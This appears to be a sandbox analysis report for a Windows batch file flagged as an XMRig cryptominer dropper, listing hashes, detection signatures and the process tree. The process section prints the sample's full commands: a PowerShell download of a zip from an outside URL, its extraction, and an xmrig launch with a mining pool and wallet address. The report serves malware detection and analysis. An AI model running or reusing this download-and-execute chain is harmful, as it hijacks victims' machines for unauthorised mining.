Overview
overview
10Static
static
1tesy - Copy (10).bat
windows10-2004-x64
10tesy - Copy (11).bat
windows10-2004-x64
10tesy - Copy (12).bat
windows10-2004-x64
10tesy - Copy (13).bat
windows10-2004-x64
10tesy - Copy (14).bat
windows10-2004-x64
10tesy - Copy (2).bat
windows10-2004-x64
10tesy - Copy (3).bat
windows10-2004-x64
10tesy - Copy (4).bat
windows10-2004-x64
10tesy - Copy (5).bat
windows10-2004-x64
10tesy - Copy (6).bat
windows10-2004-x64
10tesy - Copy (7).bat
windows10-2004-x64
10tesy - Copy (8).bat
windows10-2004-x64
10tesy - Copy (9).bat
windows10-2004-x64
10tesy - Copy.bat
windows10-2004-x64
10tesy.bat
windows10-2004-x64
10Analysis
-
max time kernel
1795s -
max time network
1796s -
platform
windows10-2004_x64 -
resource
win10v2004-20231020-en -
resource tags
arch:x64arch:x86image:win10v2004-20231020-enlocale:en-usos:windows10-2004-x64system -
submitted
22-10-2023 15:52
Static task
static1
Behavioral task
behavioral1
Sample
tesy - Copy (10).bat
Resource
win10v2004-20231020-en
Behavioral task
behavioral2
Sample
tesy - Copy (11).bat
Resource
win10v2004-20231020-en
Behavioral task
behavioral3
Sample
tesy - Copy (12).bat
Resource
win10v2004-20231020-en
Behavioral task
behavioral4
Sample
tesy - Copy (13).bat
Resource
win10v2004-20231020-en
Behavioral task
behavioral5
Sample
tesy - Copy (14).bat
Resource
win10v2004-20231020-en
Behavioral task
behavioral6
Sample
tesy - Copy (2).bat
Resource
win10v2004-20231020-en
Behavioral task
behavioral7
Sample
tesy - Copy (3).bat
Resource
win10v2004-20231020-en
Behavioral task
behavioral8
Sample
tesy - Copy (4).bat
Resource
win10v2004-20231020-en
Behavioral task
behavioral9
Sample
tesy - Copy (5).bat
Resource
win10v2004-20231020-en
Behavioral task
behavioral10
Sample
tesy - Copy (6).bat
Resource
win10v2004-20231020-en
Behavioral task
behavioral11
Sample
tesy - Copy (7).bat
Resource
win10v2004-20231020-en
Behavioral task
behavioral12
Sample
tesy - Copy (8).bat
Resource
win10v2004-20231020-en
Behavioral task
behavioral13
Sample
tesy - Copy (9).bat
Resource
win10v2004-20231020-en
Behavioral task
behavioral14
Sample
tesy - Copy.bat
Resource
win10v2004-20231020-en
General
-
Target
tesy - Copy (3).bat
-
Size
702B
-
MD5
65f016a2abe40d2902c7032438a14bd7
-
SHA1
b3537668ca1bb826e5085aee38b3f7ec654d606e
-
SHA256
153b384b64bd371e0236c8497c9706db00cc102f068ea8fd4569d20b3b5a6fd8
-
SHA512
b52486cdc585277de12287b4b2ab17c9e401bfeaee78555fd6d8760d7954b4e361f6e3ec32e4d694ba2cfa69d3d843d0f192539f0c893500b801c05a13b488f7
Malware Config
Extracted
https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip
Signatures
-
XMRig Miner payload 64 IoCs
resource yara_rule behavioral7/files/0x0007000000022e01-46.dat family_xmrig behavioral7/files/0x0007000000022e01-46.dat xmrig behavioral7/memory/4692-49-0x00007FF728BE0000-0x00007FF7296E3000-memory.dmp xmrig behavioral7/memory/4692-52-0x00007FF728BE0000-0x00007FF7296E3000-memory.dmp xmrig behavioral7/memory/4692-55-0x00007FF728BE0000-0x00007FF7296E3000-memory.dmp xmrig behavioral7/memory/4692-56-0x00007FF728BE0000-0x00007FF7296E3000-memory.dmp xmrig behavioral7/memory/4692-57-0x00007FF728BE0000-0x00007FF7296E3000-memory.dmp xmrig behavioral7/memory/4692-58-0x00007FF728BE0000-0x00007FF7296E3000-memory.dmp xmrig behavioral7/memory/4692-59-0x00007FF728BE0000-0x00007FF7296E3000-memory.dmp xmrig behavioral7/memory/4692-60-0x00007FF728BE0000-0x00007FF7296E3000-memory.dmp xmrig behavioral7/memory/4692-61-0x00007FF728BE0000-0x00007FF7296E3000-memory.dmp xmrig behavioral7/memory/4692-62-0x00007FF728BE0000-0x00007FF7296E3000-memory.dmp xmrig behavioral7/memory/4692-63-0x00007FF728BE0000-0x00007FF7296E3000-memory.dmp xmrig behavioral7/memory/4692-64-0x00007FF728BE0000-0x00007FF7296E3000-memory.dmp xmrig behavioral7/memory/4692-65-0x00007FF728BE0000-0x00007FF7296E3000-memory.dmp xmrig behavioral7/memory/4692-66-0x00007FF728BE0000-0x00007FF7296E3000-memory.dmp xmrig behavioral7/memory/4692-67-0x00007FF728BE0000-0x00007FF7296E3000-memory.dmp xmrig behavioral7/memory/4692-68-0x00007FF728BE0000-0x00007FF7296E3000-memory.dmp xmrig behavioral7/memory/4692-69-0x00007FF728BE0000-0x00007FF7296E3000-memory.dmp xmrig behavioral7/memory/4692-70-0x00007FF728BE0000-0x00007FF7296E3000-memory.dmp xmrig behavioral7/memory/4692-71-0x00007FF728BE0000-0x00007FF7296E3000-memory.dmp xmrig behavioral7/memory/4692-72-0x00007FF728BE0000-0x00007FF7296E3000-memory.dmp xmrig behavioral7/memory/4692-73-0x00007FF728BE0000-0x00007FF7296E3000-memory.dmp xmrig behavioral7/memory/4692-74-0x00007FF728BE0000-0x00007FF7296E3000-memory.dmp xmrig behavioral7/memory/4692-75-0x00007FF728BE0000-0x00007FF7296E3000-memory.dmp xmrig behavioral7/memory/4692-76-0x00007FF728BE0000-0x00007FF7296E3000-memory.dmp xmrig behavioral7/memory/4692-77-0x00007FF728BE0000-0x00007FF7296E3000-memory.dmp xmrig behavioral7/memory/4692-78-0x00007FF728BE0000-0x00007FF7296E3000-memory.dmp xmrig behavioral7/memory/4692-79-0x00007FF728BE0000-0x00007FF7296E3000-memory.dmp xmrig behavioral7/memory/4692-80-0x00007FF728BE0000-0x00007FF7296E3000-memory.dmp xmrig behavioral7/memory/4692-81-0x00007FF728BE0000-0x00007FF7296E3000-memory.dmp xmrig behavioral7/memory/4692-82-0x00007FF728BE0000-0x00007FF7296E3000-memory.dmp xmrig behavioral7/memory/4692-83-0x00007FF728BE0000-0x00007FF7296E3000-memory.dmp xmrig behavioral7/memory/4692-84-0x00007FF728BE0000-0x00007FF7296E3000-memory.dmp xmrig behavioral7/memory/4692-85-0x00007FF728BE0000-0x00007FF7296E3000-memory.dmp xmrig behavioral7/memory/4692-86-0x00007FF728BE0000-0x00007FF7296E3000-memory.dmp xmrig behavioral7/memory/4692-87-0x00007FF728BE0000-0x00007FF7296E3000-memory.dmp xmrig behavioral7/memory/4692-88-0x00007FF728BE0000-0x00007FF7296E3000-memory.dmp xmrig behavioral7/memory/4692-89-0x00007FF728BE0000-0x00007FF7296E3000-memory.dmp xmrig behavioral7/memory/4692-90-0x00007FF728BE0000-0x00007FF7296E3000-memory.dmp xmrig behavioral7/memory/4692-91-0x00007FF728BE0000-0x00007FF7296E3000-memory.dmp xmrig behavioral7/memory/4692-92-0x00007FF728BE0000-0x00007FF7296E3000-memory.dmp xmrig behavioral7/memory/4692-93-0x00007FF728BE0000-0x00007FF7296E3000-memory.dmp xmrig behavioral7/memory/4692-94-0x00007FF728BE0000-0x00007FF7296E3000-memory.dmp xmrig behavioral7/memory/4692-95-0x00007FF728BE0000-0x00007FF7296E3000-memory.dmp xmrig behavioral7/memory/4692-96-0x00007FF728BE0000-0x00007FF7296E3000-memory.dmp xmrig behavioral7/memory/4692-97-0x00007FF728BE0000-0x00007FF7296E3000-memory.dmp xmrig behavioral7/memory/4692-98-0x00007FF728BE0000-0x00007FF7296E3000-memory.dmp xmrig behavioral7/memory/4692-99-0x00007FF728BE0000-0x00007FF7296E3000-memory.dmp xmrig behavioral7/memory/4692-100-0x00007FF728BE0000-0x00007FF7296E3000-memory.dmp xmrig behavioral7/memory/4692-101-0x00007FF728BE0000-0x00007FF7296E3000-memory.dmp xmrig behavioral7/memory/4692-102-0x00007FF728BE0000-0x00007FF7296E3000-memory.dmp xmrig behavioral7/memory/4692-103-0x00007FF728BE0000-0x00007FF7296E3000-memory.dmp xmrig behavioral7/memory/4692-104-0x00007FF728BE0000-0x00007FF7296E3000-memory.dmp xmrig behavioral7/memory/4692-105-0x00007FF728BE0000-0x00007FF7296E3000-memory.dmp xmrig behavioral7/memory/4692-106-0x00007FF728BE0000-0x00007FF7296E3000-memory.dmp xmrig behavioral7/memory/4692-107-0x00007FF728BE0000-0x00007FF7296E3000-memory.dmp xmrig behavioral7/memory/4692-108-0x00007FF728BE0000-0x00007FF7296E3000-memory.dmp xmrig behavioral7/memory/4692-109-0x00007FF728BE0000-0x00007FF7296E3000-memory.dmp xmrig behavioral7/memory/4692-110-0x00007FF728BE0000-0x00007FF7296E3000-memory.dmp xmrig behavioral7/memory/4692-111-0x00007FF728BE0000-0x00007FF7296E3000-memory.dmp xmrig behavioral7/memory/4692-112-0x00007FF728BE0000-0x00007FF7296E3000-memory.dmp xmrig behavioral7/memory/4692-113-0x00007FF728BE0000-0x00007FF7296E3000-memory.dmp xmrig behavioral7/memory/4692-114-0x00007FF728BE0000-0x00007FF7296E3000-memory.dmp xmrig -
Blocklisted process makes network request 1 IoCs
flow pid Process 2 2452 powershell.exe -
Executes dropped EXE 1 IoCs
pid Process 4692 xmrig.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 2452 powershell.exe 2452 powershell.exe 3856 powershell.exe 3856 powershell.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 652 Process not Found -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 2452 powershell.exe Token: SeDebugPrivilege 3856 powershell.exe Token: SeLockMemoryPrivilege 4692 xmrig.exe Token: SeLockMemoryPrivilege 4692 xmrig.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 4692 xmrig.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 1688 wrote to memory of 2452 1688 cmd.exe 84 PID 1688 wrote to memory of 2452 1688 cmd.exe 84 PID 1688 wrote to memory of 3856 1688 cmd.exe 87 PID 1688 wrote to memory of 3856 1688 cmd.exe 87 PID 1688 wrote to memory of 5056 1688 cmd.exe 88 PID 1688 wrote to memory of 5056 1688 cmd.exe 88 PID 5056 wrote to memory of 4692 5056 cmd.exe 90 PID 5056 wrote to memory of 4692 5056 cmd.exe 90
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (3).bat"1⤵
- Suspicious use of WriteProcessMemory
PID:1688 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip', 'test.zip')"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2452
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3856
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K start.cmd2⤵
- Suspicious use of WriteProcessMemory
PID:5056 -
C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exexmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ.TRI -p x3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:4692
-
-
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2KB
MD52f57fde6b33e89a63cf0dfdd6e60a351
SHA1445bf1b07223a04f8a159581a3d37d630273010f
SHA2563b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
SHA51242857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
-
Filesize
1KB
MD5a5c074e56305e761d7cbc42993300e1c
SHA139b2e23ba5c56b4f332b3607df056d8df23555bf
SHA256e75b17396d67c1520afbde5ecf8b0ccda65f7833c2e7e76e3fddbbb69235d953
SHA512c63d298fc3ab096d9baff606642b4a9c98a707150192191f4a6c5feb81a907495b384760d11cecbff904c486328072548ac76884f14c032c0c1ae0ca640cb5e8
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
3.2MB
MD53238c0d25d84b6f0bb645bbb29cdbf61
SHA111ae550c8a82c0793862c366b92072ad7e18befe
SHA256b7a3d27640d4a7403c306a61996d604f28c44c2267eb9d60ed770ad40b3b5dfb
SHA512d5c3e51f36b05ed6b66d501936fc771b712929fa9cdcb3e784d64e018ce4f081cead7a80c48504ced2f7b375bdcc94e147be1fc4e566af45ddaeb60389dee556
-
Filesize
170B
MD578657df2e34e338ff135d3dde69177bf
SHA1d5048a4270b7ba599e941d26d61bfa2e8da31fce
SHA2569004d356a2f71e3abd655983967aa597e81a8133069ee8bcef04f6ed0b36ae98
SHA512f05cd30046793f60d8afd61b0a83f53d0c8e2889a03cbace1b199de181257771d257ab47f29effd1084c196eba9454ccdd97715e6f1062c079f4087685bd7004
-
Filesize
7.9MB
MD54813fa6d610e180b097eae0ce636d2aa
SHA11e9cd17ea32af1337dd9a664431c809dd8a64d76
SHA2569ef2e8714e85dcd116b709894b43babb4a0872225ae7363152013b7fd1bc95bc
SHA5125463e61b9583dd7e73fc4c0f14252ce06bb1b24637fdf5c4b96b3452cf486b147c980e365ca6633d89e7cfe245131f528a7ecab2340251cef11cdeb49dac36aa